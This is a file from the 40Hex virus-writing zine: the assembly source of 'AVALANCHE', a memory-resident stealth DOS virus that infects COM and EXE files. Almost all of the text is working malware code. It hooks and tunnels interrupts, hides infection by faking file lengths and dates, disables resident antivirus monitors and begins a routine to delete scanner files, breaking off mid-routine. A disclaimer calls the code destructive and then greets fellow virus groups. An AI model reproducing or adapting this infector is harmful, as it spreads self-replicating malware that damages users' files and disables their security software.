40Hex Number 14 Volume 5 Issue 1 File 013 ;**************************************************************************** ;* Resident stealth infector 'AVALANCHE' * ;* written by Metal Junkie in 1994/95 * ;**************************************************************************** ; 100% memory stealth ; Int 21h Tunneling ; Retro functions ; EXE/COM - Infection ; and many other features. Enjoy it! ; Disclaimer: Warning! This source contains destructive code. Do not compile ; it! The author is not responsible for any damage caused by this code. ; And last but not least, greetings to Neurobasher,Stormbringer, the guys ; of VLAD (hi qark) and the Unforgiven Metal Militia. code segment para 'code' .8086 org 100h assume cs:code, ds:code, es:code, ss:code ; ;======== Initializing routines and decryption ============================= ; test options: EXEPERMIS equ 1 ; infect EXE Files COMPERMIS equ 1 ; infect COM files STEALTH equ 1 ; include stealth functions RETRO equ 1 ; anti scan start: ; SS ist always equal CS ! .386 kenn: mov ecx,(offset (virende-vircode+1)) ; Adios F-Prot ! kenn1: mov bx,(266+offset vircode) jmp patch db 0eah ; Adios TBAV ! entschl: xor byte ptr cs:[bx],0 inc bx patch: loop entschl .8086 ; ------ Start of encrypted body ---- vircode: call getip ; Only to fool simple scanners looking getip: pop ax ; for the classic pop bp mov bp,ax sub bp,(100h+(getip-start)); patch5: jmp short conti db 81h conti: jmp lab1 ;--- Constants --------------------------------------------------------- sprbef equ 3 ; 3 Bytes for a JUMP monat equ 01h ; Date of activation itsme equ "sh" ; Signature DOS_N equ 21h ; normal DOS Function 21 db " AVALANCHE/Germany '94...Metal Junkie greets Neurobasher" ;--- EXE-Header-Lokationen --- cs_pos equ 16h ; Position of Codesegment in EXE Header ss_pos equ 0eh ip_pos equ 14h ; IP ovl_no equ 1Ah hdl_pos equ 08h ; Size of Header sp_pos equ 10h ; SP min_par equ 0ah ; Min. amount of memory div512 equ 04h ; Filelength DIV 512 mod512 equ 02h ; MOD 512 segtab equ 06h ; chksum equ 12h ; ;--- Variables ---- cs_merk dw (0) ds_merk dw (0) ; store the original regs here es_merk dw (0) sp_merk dw 0fffeh ss_merk dw (0) min_mem dw 4096 ip_merk dw 0100h ; pointer to first instruction of host wirt dw (?) ; this is a far jump to the host combytes db 0C3h,0h,01h ; buffer for host bytes (COM) com_vek db 0e9h,0,0 ; jump vector (COM) ;--- org_filelng_lo dw (?) ; original length of host org_filelng_hi dw (?) mem_strat dw (?) ; buffer for allocation strategy umb_strat db (?) comflag db 1 ; 1=host is a COM-file generation dw 0 ;------- check activation circumstances ------------------------------------ lab1: cli mov [bp+ds_merk],ds ; store original segments here cld push cs ; setup registers pop ds mov ax,4bf0h ; Are we resident in memory ? xor di,di int DOS_N cmp di,itsme jne lab32 jmp restore_com ; Yes, we are -> exit lab32: mov ah,30h ; Dos-Version ? int DOS_N cmp al,5 jae lab4 jmp restore_com ; exit when < 5.0 lab4: mov ah,04h ; enable virus [Monat] 1994 int 1ah jc lab5 cmp cx,1996h jae lab5 cmp dh,monat jae lab5 jmp restore_com lab5: call killscan ; kill VSAFE/VWATCH mov ah,0eh ; search or SDScan Novell Dos 7.0 mov dl,0adh int DOS_N cmp al,0bah jne initvir jmp restore_com ; Scanner active ==> Exit ;--------------------------------------------------------------------------- dowirt: mov ax,[bp+ds_merk] mov ds,ax ; restore DS/ES mov es,ax cmp [bp+comflag],1 ; Is host a COM file ? je do2 mov ax,es add ax,[bp+cs_merk] ; old codesegment in vector add ax,16 mov word ptr [bp+wirt],ax mov sp,[bp+sp_merk] ; restore stack mov ax,es add ax,cs:[bp+ss_merk] add ax,16 mov ss,ax jmp short do3 do2: mov ax,cs mov cs:[bp+wirt],ax do3: xor ax,ax ; Important ! All Registers have to be ZERO mov bx,ax mov cx,ax mov dx,ax mov si,ax mov di,ax sti jmp dword ptr cs:[bp+ip_merk] ; jump to host ;---- Allocate memory for virus -------------------------------------- initvir: mov ax,[bp+ds_merk] ; free memory mov es,ax ; start segment to ES mov bx,[bp+min_mem] ; amount needed for virus mov ah,4ah ; change memory allocation int DOS_N jae init11 jmp restore_com init11: push cs pop es mov byte ptr [bp+notarn],0 ; enable stealth functions mov byte ptr [bp+virtod],0 ;--- get free block in the TOM ----------------- mov ax,5800h ; get allocation strategy int DOS_N mov [bp+mem_strat],ax ; und store it mov ax,5802h ; get UMB Status int DOS_N ; DOS<5.0 C=1,AX=1 jae init1 jmp restore_com init1: mov [bp+umb_strat],al ; store it mov ax,5801h ; set new strategy mov bx,0000000000000010b ; Last Block, search in TPA only int DOS_N mov ax,5803h ; disable usage of UMB mov bx,0 int DOS_N mov bx,(((virende-start+100) shr 4) +33) ; Virus in Paragr. ; + place to store Trojan mov ah,48h ; allocate RAM for virus int DOS_N jc resetall push ax ; store allocated segment dec ax mov es,ax ; ES to MCB of alloc. memory inc ax mov word ptr es:[0],"Z" mov word ptr es:[1],8 ; make us resident as part of DOS mov ax,3521h ; get old INT 21h int DOS_N mov word ptr [bp+int21alt],bx mov word ptr [bp+int21alt+2],es mov word ptr [bp+OrgDos],bx ; if tracer failed :( mov word ptr [bp+OrgDos+2],es call TunnelIt ; trace the INT 21h vector cmp ax,0ffh ; have we found the vector ? je notun mov word ptr [bp+OrgDos+2],es ; store the new entry mov word ptr [bp+OrgDos],ax notun: mov ax,3513h ; get old BIOS interrupt 13h int DOS_N mov word ptr [bp+int13alt],bx mov word ptr [bp+int13alt+2],es pop es ; get back virus-segment push es mov si,offset start add si,bp mov di,100h mov cx,offset (virende-start) rep movsb ; Copy the virus to TOM mov dx,offset int21 ; hook INT21h to virus handler mov ax,2521h pop ds ; get back virus segment int DOS_N mov dx,offset int13 ; hook BIOS-Interrupt to virus handler mov ax,2513h int DOS_N resetall: push cs pop ds push [bp+ds_merk] ; restore memory allocation pop es mov bx,0ffffh mov ah,4ah int DOS_N mov ah,4ah int DOS_N mov bl,[bp+umb_strat] ; restore old UMB strategy xor bh,bh mov ax,5803h int DOS_N mov bx,[bp+mem_strat] ; Alte Strategie zurck mov ax,5801h int DOS_N ; restore orinal JUMP to host restore_com: cmp [bp+comflag],1 ; is it a COM file ? jne initende mov di,[bp+ip_merk] ; build up traget adress mov si,offset combytes ; restore original bytes to host add si,bp ; only necessary if .com - EXE has a direct mov cx,sprbef ; vector. rep movsb initende: jmp dowirt ; --------- Kill VSAFE and VWATCH and TBDRIVER ------------------- ; you can use this function from the resident part of virus too killscan proc near push es push ax push bx push cx push dx push si push di mov ax,0fa00h ; Vsafe resident ? mov dx,5945h int 16h cmp di,4559h jne ks1 mov ax,0fa02h mov dx,5945h mov bl,0 int 16h ; get old flags to CL and cl,23 ; disable only parts of scanner mov bl,cl ; because the full deinstallation causes mov ax,0fa02h ; warnings mov dx,5945h int 16h ks1: push ds xor ax,ax mov ds,ax les si,ds:[21h*4] ; get INT 21h handler pop ds mov ax,word ptr es:[si] ; get first two instructions of INT 21h cmp ax,05ebh ; Is it that fucking TBDRIVER ? jne ks2 mov word ptr es:[si],9090h ; Bomb it out of memory !!! ; This works because there is a far-jump to DOS directly behind ; the near jump to the scanner ks2: pop di pop si pop dx pop cx pop bx pop ax pop es ret killscan endp ;************************************************************************** ;*** INT 21h Tracer to locate the entry of DOS *** ;*** Setting up some parameters for the tracing routine *** ;************************************************************************** ; INPUT : none ; OUTPUT : Original-DOS-vektor in ES:AX Tunnelit PROC NEAR mov ah, 52h ; get the DIB adresse int DOS_N jc tuend mov ax,es:[bx-2] ; vector to first MCB -> ES:AX mov word ptr [bp+dos_seg],ax ; here is the DOS segment xor ax,ax ; ES=0 mov es,ax les ax, es:[1*4] ; store original INT 1 mov word ptr [bp+oldint1], ax mov word ptr [bp+oldint1+2], es mov cs:[bp+sflag],0 mov word ptr cs:[bp+deltaoff],bp ; set up delta offset cli xor ax,ax ; hook INT 1 to tracer mov es,ax mov bx,offset int1 ; delta Offset! add bx,bp mov word ptr es:[1*4],bx mov es:[1*4+2],cs sti pushf ; enable single step pop ax ; by setting the T-Flag or ah,1 push ax popf mov ah,0bh ; get keyboardstatus to find cli ; the entry pushf call dword ptr cs:[bp+int21alt] pushf ; single step off pop ax ; AX=FF if tracer failed and ax,0feffh push ax popf cli ; restore old Int 1 push ds xor ax,ax mov ds,ax les ax, cs:[bp+oldint1] mov word ptr ds:[1*4], ax mov word ptr ds:[1*4+2], es pop ds sti cmp [bp+sflag],1 ; was tracing successful ? jne nosuccess mov ax,word ptr [bp+oldint21+2] mov es,ax mov ax,word ptr [bp+oldint21] tuend: ret nosuccess: mov ax,0ffh ; nope, we have no entry :( jmp short tuend oldint1 dd ? oldint21 dd ? sflag db 0 dos_seg dw ? Tunnelit ENDP ;************************************************************************** ;*** Single Step interrupt routine *** ;*** Tries to find the original entry of the DOS to fool reesident *** ;*** scanners *** ;************************************************************************** int1 PROC FAR push bp mov bp,sp push ax push si db 0BEh ; mov si, deltaoff deltaoff dw (?) mov ax, [bp+4] ; get segment of return adress cmp ax,cs:[si+dos_seg] ; is it in the DOS segement ? jbe foundit ex_int1:pop si pop ax pop bp iret foundit: ; yes, we've found the entry mov word ptr cs:[si+OldInt21+2],ax ; store segment (bp+4) mov ax,[bp+2] mov word ptr cs:[si+OldInt21],ax ; store offset mov cs:[si+sflag],1 and word ptr [bp+6], 0FEFFh ; Tracing off jmp short ex_int1 INT1 ENDP ;**************************************************************************** ;**** Interrupt 21 Handler **** ;**************************************************************************** ;--- Variables : psp equ 0 ; ununsed PSP for buffer ; --- Interruptvektors --- crbreak dd (?) ; Old Critical-Error-INT int21alt dd (?) ; Old Dos-Interrupt int13alt dd (?) ; Old BIOS-Interrupt OrgDos dd (?) ; Original-DOS-Interrupt ; --- Variables --- nam_off dw (?) ; filename offset nam_seg dw (?) ; filename segment dtaseg dw (?) ; segment of DTA dtaoff dw (?) ; offset of DTA d_datum dw (?) ; file date d_zeit dw (?) ; time of last change d_attrib dw (?) ; old files attributes handle dw (?) ; file handle ret_off dw (?) ; --- Flags --- internal db 0 ; indicates internal usage of routines flag db 0 ; allround flag virtod db 0 ; 1=Virus is disabled notarn db 0 ; 1=Stealth functions disabled comsuff db "*.com",0 ;---------------------------------------------------------------------------- cint proc far ; Critical-Error-INT ; to prevent virus from generating errors sti ; during access on write proteted disks mov al,3 iret cint endp ;---------------------------------------------------------------------------- int21 PROC FAR ; new INT 21 handler IF STEALTH cmp ah,4bh ; Exec-Interrupt ? jne check_stealth ; no, let's check stealth ELSE cmp ah,4bh jne aus2 ENDIF is_exec: cmp al,0f0h ; virus self check je rescheck cmp al,05h ; ignore special exec functions je aus2 cmp al,03h je aus2 mov cs:[internal],0 ; internal usage of INT 21 handler jmp exec ; yeah, it's the exec function rescheck: mov di,itsme ; its me -> return to caller iret aus2: jmp cs:[int21alt] ; jump to original INT 21h ;=== Handler for stealth functions of INT 21h ==================== IF STEALTH check_stealth: cmp cs:[virtod],1 ; Ist Virus disabled ? je aus cmp cs:[notarn],1 ; Is Stealth shield disabled ? je aus cmp ah,4eh ; Find-First (Handle) ? jne chk_hdl jmp ff_hdl chk_hdl: cmp ah,4fh ; Find-Next (Handle) ? jne chk_fcb jmp ff_hdl chk_fcb: cmp ah,11h ; Find-First (FCB) ? je firstnext cmp ah,12h ; Find-Next (FCB) ? je firstnext jmp short holdat ; no, continue check ; ---- date/time fooling --------------------------------------- holdat: cmp ax,5700h ; is someone asking on date/time of afile? jne schieb_zeiger jmp deal_dat schieb_zeiger: ; maybe a movement of file pointer? cmp ah,42h jne read_3f jmp deal_zeiger read_3f: ; a file read function ? cmp ah,3fh jne aus jmp deal_read aus: jmp cs:[int21alt] ; jump to old interrupt ENDIF int21 endp ;------------------------ Handler-Bodies -------------------------------------------------- IF STEALTH ff_hdl proc near ; handle find-first-next (handle) pushf ; call function first call cs:[int21alt] jc ngef ; any files found ? jmp short findfn1 ngef: retf 2 findfn1: call pushall ; save all registers mov ah,2fh ; get DTA adress to ES:BX int DOS_N mov ax,es:[bx+18h] ; get date of file and ax,1111111000000000b ; mask out the month mov cl,9 shr ax,cl cmp ax,90d ; compare with 90 jna findfnende ; year < 90 -> file is clean sub word ptr es:[bx+26],(virende-start) ; shrink filelength sbb word ptr es:[bx+28],0 sub word ptr es:[bx+18h],1100100000000000b ; date=date-100 years findfnende: call popall retf 2 ff_hdl endp ;--------------------------------------------------------------------------- firstnext proc near ; handle the fcb functions pushf ; call function call cs:[int21alt] call pushall cmp al,255 ; any files found ? jne continue jmp short fcbende ; no, then exit continue: mov ah,2fh ; get DTA adress to ES:BX int DOS_N cmp byte ptr es:[bx],255 ; is it a large FCB ? je erwfcb mov si,19h ; date entry (secret DOS) mov di,1dh ; filelength (secret DOS) jmp short normfcb erwfcb: mov si,20h ; date entry (secret DOS) mov di,24h ; filelength normfcb: mov ax,es:[bx+si] ; get file and date stamps and ax,1111111000000000b ; mask out the month mov cl,9 shr ax,cl cmp ax,90d ; compare with 90 jna fcbende ; year < 90 -> file is clean sub word ptr es:[bx+di],(virende-start) ; change date/length sbb word ptr es:[bx+di+2],0 sub word ptr es:[bx+di-7],(virende-start) sbb word ptr es:[bx+di-7+2],0 sub word ptr es:[bx+si],1100100000000000b fcbende: call popall retf 2 firstnext endp ;---------------------------------------------------------------------------- deal_dat proc near pushf call cs:[int21alt] pushf ; don't save DX, it holds the date push ax push cx mov ax,dx and ax,1111111000000000b ; mask out month mov cl,9 shr ax,cl cmp ax,90 ; compare with 90 years jna deal_datende ; year<90 -> file is clean sub dx,1100100000000000b ; subtract 100 years deal_datende: pop cx pop ax popf retf 2 deal_dat endp ;--------------------------------------------------------------------------- ; Don't let the file pointer hit the virus deal_zeiger proc near cmp al,02h ; handle funktion 2 only jne zg_do_function or cx,dx jne zg_do_function call pruefinf ; file infected ? jae zg_do_function mov cx,0ffffh mov dx,-(virende-start) ; subtract virus size pushf call cs:[int21alt] retf 2 ; and exit zg_do_function: jmp cs:[int21alt] deal_zeiger endp ; --------------------------------------------------------------------------- ; funktion deal_read: Filters the virus on file access. The memory image is ; clean. Virus contains the original header bytes at his end. rd_handle dw (?) ; file handle rd_bytes dw (?) ; amount of bytes to read rd_aktpos_lo dw (?) ; actual file pointer position rd_aktpos_hi dw (?) rd_endpos_lo dw (?) rd_endpos_hi dw (?) rd_virpos_lo dw (?) rd_virpos_hi dw (?) rd_es_merk dw (?) rd_ds_merk dw (?) rd_funktion dw (?) rd_error_msg dw (?) rd_puffer_off dw (?) rd_bytes_read dw (?) deal_read proc near cmp bx,5 ; Ist es file handle or a device ? jae dlrd1 jmp do_read2 dlrd1: call pruefinf ; is file infected ? jae do_read2 mov cs:[rd_ds_merk],ds push cs pop ds mov [rd_funktion],ax mov [rd_handle],bx mov [rd_bytes],cx mov [rd_puffer_off],dx mov [rd_es_merk],es jmp dlrd2 ; restore all regs and do the read do_read0: mov cx,cs:[rd_bytes] ; restore old CX ; restore all regs exept for cx and do the read do_read1: mov bx,cs:[rd_handle] mov dx,cs:[rd_puffer_off] mov ax,cs:[rd_es_merk] mov es,ax mov ax,cs:[rd_ds_merk] mov ds,ax mov ax,cs:[rd_funktion] ; don't restore regs and do the read do_read2: jmp cs:[int21alt] ; return to caller with restored regs exept for ax do_ret1: mov cx,cs:[rd_bytes] mov dx,cs:[rd_puffer_off] mov bx,cs:[rd_es_merk] mov es,bx mov bx,cs:[rd_ds_merk] mov ds,bx mov bx,cs:[rd_handle] ;return to caller without restored regs do_ret2: retf 2 dlrd2: mov ax,4201h ; get file pointer position xor cx,cx xor dx,dx pushf call cs:[int21alt] jc do_read0 mov [rd_aktpos_lo],ax ; store it mov [rd_aktpos_hi],dx add ax,[rd_bytes] ; calc endposition of file pointer adc dx,0 mov [rd_endpos_lo],ax mov [rd_endpos_hi],dx mov ax,4202h ; get original filesize xor cx,cx xor dx,dx pushf call cs:[int21alt] sub ax,(virende-start) sbb dx,0 mov [rd_virpos_lo],ax ; store the original size mov [rd_virpos_hi],dx mov ax,4200h mov cx,[rd_aktpos_hi] mov dx,[rd_aktpos_lo] pushf call cs:[int21alt] jae rdmk1 jmp do_read0 ; Now we have to make a few decisions where the pointer is and what ; to do that he does not hit the virus body rdmk1: mov ax,[rd_aktpos_lo] ; aktpos < 1dh cmp ax,1dh jb fall_1 ; pointer is in the header -> case 1 mov bx,[rd_aktpos_hi] ; aktpos < virpos ? les cx,dword ptr [rd_virpos_lo] mov dx,es ; DX:CX = aktpos call comp_32bit jb fall_2 ; pointer is in the host -> case 2 jmp fall_3 ; pointer is in the virus -> case 3 ; more decisions........ fall_1: ;--- pointer is in the header ---- les ax,dword ptr [rd_endpos_lo]; Endpos in header(endpos<1dh) ? mov bx,es ; BX:AX = Endpos xor dx,dx mov cx,1dh call comp_32bit ; caller is going to.... jb fall_11 ; read header only les cx,dword ptr [rd_virpos_lo] mov dx,es ; DX:CX = Virpos call comp_32bit jb fall_12 ; read header-host jmp fall_13 ; read header-host-virus fall_2: ; -- pointer is in the host ---- les ax,dword ptr [rd_endpos_lo] ; Endpos < Virpos ? mov bx,es ; BX:AX = end_pos les cx,dword ptr [rd_virpos_lo] mov dx,es call comp_32bit jb hilf1 ; end position is in the host jmp fall_22 ; endposition is in the virus hilf1: jmp fall_21 fall_3: ; --- pointer is in the virus ---- mov ax,0 ; return with zero bytes to caller clc jmp do_ret1 ; --- actions according to th 6 cases above fall_11: ; --- caller is trying to read to header ----- mov dx,1ch ; how many bytes to read ? sub dx,[rd_aktpos_lo] push dx neg dx ; negative offset mov cx,0ffffh mov al,02h call set_pos ; set pointer to corresponding byte ; at the end of the virus where the ; original bytes are stored mov dx,[rd_puffer_off] ; read the original bytes from there mov cx,[rd_bytes] mov bx,[rd_handle] mov ah,3fh push [rd_ds_merk] ; set DS to readbuffer pop ds pushf call cs:[int21alt] push cs pop ds mov cx,[rd_endpos_hi] mov dx,[rd_endpos_lo] mov al,0 call set_pos ; correct the pointer position jmp do_ret1 fall_12: ; --- caller is trying to read header+host --- mov cx,[rd_bytes] cross: mov bx,[rd_handle] ; call read function mov dx,[rd_puffer_off] push [rd_ds_merk] pop ds mov ah,3fh pushf call cs:[int21alt] jae f121 jmp do_ret1 f121: push cs ; DS=CS pop ds mov [rd_bytes_read],ax ; store readed bytes mov dx,1ch ; how many bytes from the header should sub dx,[rd_aktpos_lo] ; have been read ? push dx neg dx ; negative offset mov cx,0ffffh mov al,02h call set_pos ; set pointer to correcpondig bytes jae fall_12h1 ; behind the virus pop cx ; restore stack jmp reset_point ; restore file point and exit fall_12h1: pop cx ; cx=ax (numer of bytes to read) push [rd_ds_merk] pop ax ; get buffer segment mov dx,[rd_puffer_off] ; increase memory pointer add dx,[rd_aktpos_lo] adc ax,0 ; take care of the carry flag mov ds,ax mov bx,cs:[rd_handle] mov ah,3fh pushf call cs:[int21alt] ; read original header jae fall_12h2 jmp reset_point fall_12h2: push cs pop ds mov cx,[rd_aktpos_hi] ; set pointer to new position mov dx,[rd_aktpos_lo] add dx,[rd_bytes_read] adc cx,0 xor al,al call set_pos mov ax,[rd_bytes_read] jmp do_ret1 fall_13: ; --- caller is trying to read header+host+virus mov ax,[rd_virpos_lo] ; subtract virus bytes sub ax,[rd_aktpos_lo] mov cx,ax jmp cross ; restore original cx fall_21: ; --- caller is trying to read the host jmp do_read0 ; no action necessary fall_22: ; --- caller is trying to read host+virus mov cx,[rd_virpos_lo] ; subtract virus bytes sub cx,[rd_aktpos_lo] push cx mov bx,[rd_handle] ; do the read function mov dx,[rd_puffer_off] mov ah,3fh push [rd_ds_merk] pop ds pushf call cs:[int21alt] pop cx jmp do_ret2 ; Compare two 32bit numbers ; INPUT no 1: BX:AX ; no 2: DX:CX ; Ausgabe: ; no 1=no 2 : ZF=1 ; no 1>no 2 : CF=0,ZF=0 ; no 1 no 2 jb comp_16end ; no 1 < no 2 cmp ax,cx ; HI-Words eqaul -> compare low-words ja comp_16end ; no 1 > no 2 jb comp_16end ; no 2 < no 2 ; else no 1 = no 2 comp_16end: ret ; restores the original file pointer position and leaves the routine ; with error 'read 0 bytes' reset_point: mov dx,cs:[rd_aktpos_lo] mov cx,cs:[rd_aktpos_hi] xor al,al call set_pos xor ax,ax clc jmp do_ret1 ; Routine to change pointer position ; INPUT : al=offset-code ; cx:dx = new position set_pos: push ax push bx push dx mov ah,42h mov bx,cs:[rd_handle] pushf call cs:[int21alt] pop dx pop bx pop ax ret deal_read endp ENDIF ;=========================================================================== INT13 PROC FAR ; INT 13h Handler orgint: jmp cs:[int13alt] INT13 ENDP ; ************************************************************************* ; *** new function 4ch of int 21 *** ; ************************************************************************* exec proc near ; handle an exec call ; DS:DX pointer to filename call pushall mov cs:[internal],0 ; indicates call by foreign program mov cs:[notarn],0 ; stealth on call killscan ; kill scanners jmp short exe0 exec1: call pushall ; entry for internal usage mov cs:[internal],1 ; DS:DX pointer to filename exe0: mov cs:[nam_off],dx ; store filename offset mov cs:[nam_seg],ds ; and segment mov cs:[flag],0 ; reset infection flag push ds push dx call discrit ; disable error handler exe01: pop dx pop ds mov ax,4300h ; get file attributes int DOS_N jae exe1 jmp exeaus2 ; exit on error exe1: mov cs:[d_attrib],cx ; store attributes test cx,100b ; is it a system file ? je exe2 jmp exeaus2 ; yes? do not infect it exe2: mov ax,4301h ; disable read-only attributes and cx,1111111111111110b pushf call cs:[int21alt] jae exe3 jmp exeaus exe3: call fuck_scanner ; fuck scanner mov ax,3d00h ; open file with read-only pushf call cs:[int21alt] ; ds:dx filename jae exe4 ; access denied -> exit jmp exeaus exe4: mov bx,ax ; store handle in bx push cs ; DS=CS pop ds mov [handle],bx push bx mov ax,1220h ; get the sft table int 2fh mov al,es:[di] ; necessary because scanners locate mov bl,al ; the TridenT Mirror virus in memory mov ax,1216h int 2fh pop bx jae exe41 jmp fehler exe41: mov word ptr es:[di+2],2 ; set file to read/write access call pruefinf ; is file infected ? jae exe5 jmp fehler exe5: mov dx,psp ; read the original header to psp mov cx,1ch mov ah,3fh int DOS_N jc fehler mov si,dx ; copy original header behind virus mov cx,1ch ; for later memory stealth mov di,offset orig_exehead push cs pop es rep movsb mov ax,4202h ; get the filesize by setting the xor cx,cx ; pointer to end of file xor dx,dx pushf call cs:[int21alt] jae exe6 jmp short fehler ; exit on error exe6: mov [org_filelng_lo],ax ; store lo-word o file length mov [org_filelng_hi],dx ; hi-word also exe8: cmp word ptr cs:[psp],5a4dh ; is it an exe file or a .com ? jne exe9 exe80: call infektexe ; infect .exe jmp short fehler ; exit on error exe9: cmp [org_filelng_lo],62000 ; .com > 62000 ? -> exit ja fehler call infektcom ; infect com file ;--------------------------------------------------------------- fehler: call reset_status ; reset file attributes mov ah,3eh ; close file pushf call cs:[OrgDos] exeaus: call reset_attrib exeaus2: call encrit ; enable error handler exeaus3: cmp cs:[internal],1 ; internal use ? je rtocaller call popall jmp cs:[int21alt] ; execute program rtocaller: mov cs:[internal],0 call popall ret ; back to caller (virus) exec ENDP ;--------------------------------------------------------------------------- reset_status PROC NEAR ; reset original file and date stamps ; [Flag]=1 == > increase date by 100 years ; file has to be openend mov ax,5701h ; restore date/time mov bx,[handle] mov cx,[d_zeit] mov dx,[d_datum] cmp [flag],1 ; has infection took place ? jne fe1 add dx,1100100000000000b ; add 100 years fe1: pushf call cs:[OrgDos] ret reset_status ENDP ;--------------------------------------------------------------------------- reset_attrib PROC NEAR ; restore original file attibutes mov cx,[d_attrib] mov ax,4301h mov dx,[nam_off] mov bx,[nam_seg] ; DS:DX pointer to filename push bx pop ds pushf call cs:[OrgDos] ret reset_attrib ENDP ;--------------------------------------------------------------------------- infektcom proc near ; infect com file IF COMPERMIS mov ax, word ptr cs:[psp+2] ; is it a device driver ? cmp ah,0ffh je infektende ; exit if so. cmp al,0ffh je infektende ;--- calc new entry ---------------------------- mov bx,[org_filelng_lo] sub bx,3h mov word ptr [com_vek+1],bx ;--- write new entry ------------------------- mov ax,4200h ; set file pointer to first byte mov bx,cs:[handle] xor dx,dx xor cx,cx pushf call cs:[OrgDos] jc infektende mov ah,40h ; write new entry mov cx,3 ; 3 bytes mov dx,offset com_vek pushf call cs:[OrgDos] jc infektende mov ax,4202h ; set pointer to end of file xor dx,dx xor cx,cx pushf call cs:[OrgDos] jc infektende mov [ip_merk],100h ; store IP mov [comflag],1 ; flag indicates COM file mov ax,word ptr cs:[psp] ; store original bytes mov word ptr [combytes],ax mov al,byte ptr cs:[psp+2] mov byte ptr [combytes+2],al mov [min_mem],4096 ; minimum amount of memory for a com file mov ax,[org_filelng_lo] add ax,offset vircode mov word ptr [kenn1+1],ax call kodier mov [flag],1 ; file was successfully infected ENDIF infektende: ret infektcom endp ;---------------------------------------------------------------------------- infektexe proc near ; infect exe file (uff, very difficult) IF EXEPERMIS push cs pop es mov si,offset psp kompr: cmp word ptr [si+segtab],1 ; is it a compressed or selfchecking ja checkwin ; file ? ret ; exit if so. checkwin: cmp byte ptr [si+18h],40h ; is it a new exe header ? jne checkovl ; forget it! ret checkovl: cmp byte ptr [si+ovl_no],0 ; no overlays please ! je checklng ret checklng: mov dx,[org_filelng_hi] ; check for internal overlays mov ax,[org_filelng_lo] call divide inc ax ; add 512 bytes cmp ax,[si+div512] ; compare only hi-byte je go ret go: mov ax,word ptr [si+cs_pos] ; store CS mov [cs_merk],ax mov ax,word ptr [si+ss_pos] ; store SS mov [ss_merk],ax mov ax,word ptr [si+sp_pos] ; store SP mov [sp_merk],ax mov ax,word ptr [si+ip_pos] ; and IP mov [ip_merk],ax mov dx,[org_filelng_hi] ; filesize to DX:AX mov ax,[org_filelng_lo] ; calc new CS and SS mov bx,[si+hdl_pos] ; calc header size in bytes mov cl,4 shl bx,cl sub ax,bx ; subtract header size from filesize sbb dx,0 ; -> DX:AX mov bx,ax ; calc new IP and bx,0000000000001111b ; Lo-nibble is offset of IP mov [si+ip_pos],bx mov cx,4 ; filesize -> pararaphs divide0: sar dx,1 rcr ax,1 loop divide0 ; result in AX mov [si+ss_pos],ax ; set new SS mov [si+cs_pos],ax ; SS=CS mov [min_mem],ax ; set up amount of memory for virus mov word ptr [si+sp_pos],((virende-start)+100h) ; set SP ramok: mov ax,[org_filelng_lo] ; fix filesize int header mov dx,[org_filelng_hi] add ax,(virende-start+512) ; add virus + 512 adc dx,0 call divide mov word ptr [si+mod512],bx mov word ptr [si+div512],ax xor cx,cx ; set file pointer to header mov dx,0 mov bx,[handle] mov ax,4200h int DOS_N jc exeinfende mov ah,40h ; write new values in header mov cx,1ch mov dx,offset psp pushf call cs:[int21alt] jc exeinfende mov ax,4202h ; file pointer to end of file xor dx,dx xor cx,cx int DOS_N jc exeinfende mov [comflag],0 ; host is an exe file mov ax,[si+ip_pos] add ax,(offset vircode -100h) mov word ptr [kenn1+1],ax ; set up new delta offset call kodier ; encrypt virus and write it to host mov [flag],1 ; infection successful ENDIF exeinfende: ret infektexe endp ;--------------------------------------------------------------------------- ; disable critical error handler to avoid write errors on write-protected ; disks discrit proc near call pushall push cs pop ds mov ax,3524h ; get old INT 24h int DOS_N ; mov word ptr [crbreak],bx mov word ptr [crbreak+2],es mov ax,2524h ; set new handler mov dx,offset cint pushf call cs:[OrgDos] call popall ret discrit endp ;--------------------------------------------------------------------------- ; enable critical error handler encrit proc near call pushall mov dx,word ptr cs:[crbreak] ; restore old INT 24h mov ax,word ptr [crbreak+2] mov ds,ax mov ax,2524h int DOS_N call popall ret encrit endp ;--------------------------------------------------------------------------- ; INPUT DX:AX value to divide by 512 ; OUTPUT AX value DIV 512 ; BX value MOD 512 divide proc near mov bx,ax and bx,0000000111111111b ; filesize MOD 512 mov cx,9 ; 32 bit division divide1: clc shr dx,1 rcr ax,1 loop divide1 ret divide endp ;***************************************************************************** ; encyrpt virus and stick it to the end of host * ;***************************************************************************** kodier proc near push cs pop es inc [generation] ; increase generation counter cld mov dx,offset (virende-start) ; virussize mov si,offset start ; start of virus mov ah,byte ptr [org_filelng_lo] xor ah,0aah mov byte ptr [entschl+3],ah ; decryptor value kod0: mov ah,byte ptr [org_filelng_lo] ; key in in ah xor ah,0aah mov di,psp ; set pointer to unused psp xor cx,cx ; reset byte counter kod1: lodsb ; load a word cmp si,offset vircode ; encyrpt it ? jna ncode ; no, it's the virus decryptor cmp si,offset vor_header ; do not encrypt the original header ja ncode xor al,ah ; encrypt word ncode: stosb ; and write it to psp inc cx cmp cx,250 ; is buffer full ? jna kod2 ; yes, then write it to disk jmp short kodaus kod2: cmp cx,dx ; are we ready ? jne kod1 ; no, continue kodaus: sub dx,cx push dx ; write encrypted by to host mov bx,[handle] mov dx,psp ; ds:dx pointer to start of encry.buffer mov ah,40h pushf ; write cx bytes call cs:[int21alt] pop dx jc kodrueck ; exit on error or dx,dx je kodrueck jmp short kod0 dec [generation] cmp [generation],32 jne kodrueck absturz: jmp absturz kodrueck: ret kodier endp ;*************************************************************************** ;*** check if file is infected **** ;*** INPUT : BX=Handle **** ;*** OUTPUT : C=0: file is clean / C=1: file is infected or access denied*** ;*************************************************************************** pruefinf proc near push bx push ax push cx push dx mov ax,5700h ; get time/date stamps pushf call cs:[int21alt] mov cs:[d_datum],dx mov cs:[d_zeit],cx and dx,1111111000000000b ; mask out the month mov cl,9 ; year to low byte shr dx,cl cmp dx,90 ; year <90 file id clean jb nichtinf stc ; set infection flag pruefaus: pop dx pop cx pop ax pop bx ret nichtinf: clc jmp short pruefaus pruefinf endp ;************************************************************************* ; retro function: delete scanners ;************************************************************************* scanner db "F-PR",0 db "TBAV",0 db "SCAN",0 db "MSAV",0 db "CPAV",0 db "TBME",0 db "TBFI",0 db "TBSC",0 db "VIRS",0 db "TBDR",0 db 0 fuck_scanner PROC NEAR IF RETRO call pushall push cs ; ES=CS pop es mov ax,cs:[nam_seg] ; get filename mov ds,ax ; to DS:SI mov si,cs:[nam_off] fd_end: inc si cmp byte ptr ds:[si],0 ; find last char jne fd_end fc2: dec si ; set pointer to filename cmp byte ptr ds:[si-1],"\" jne fc2 mov 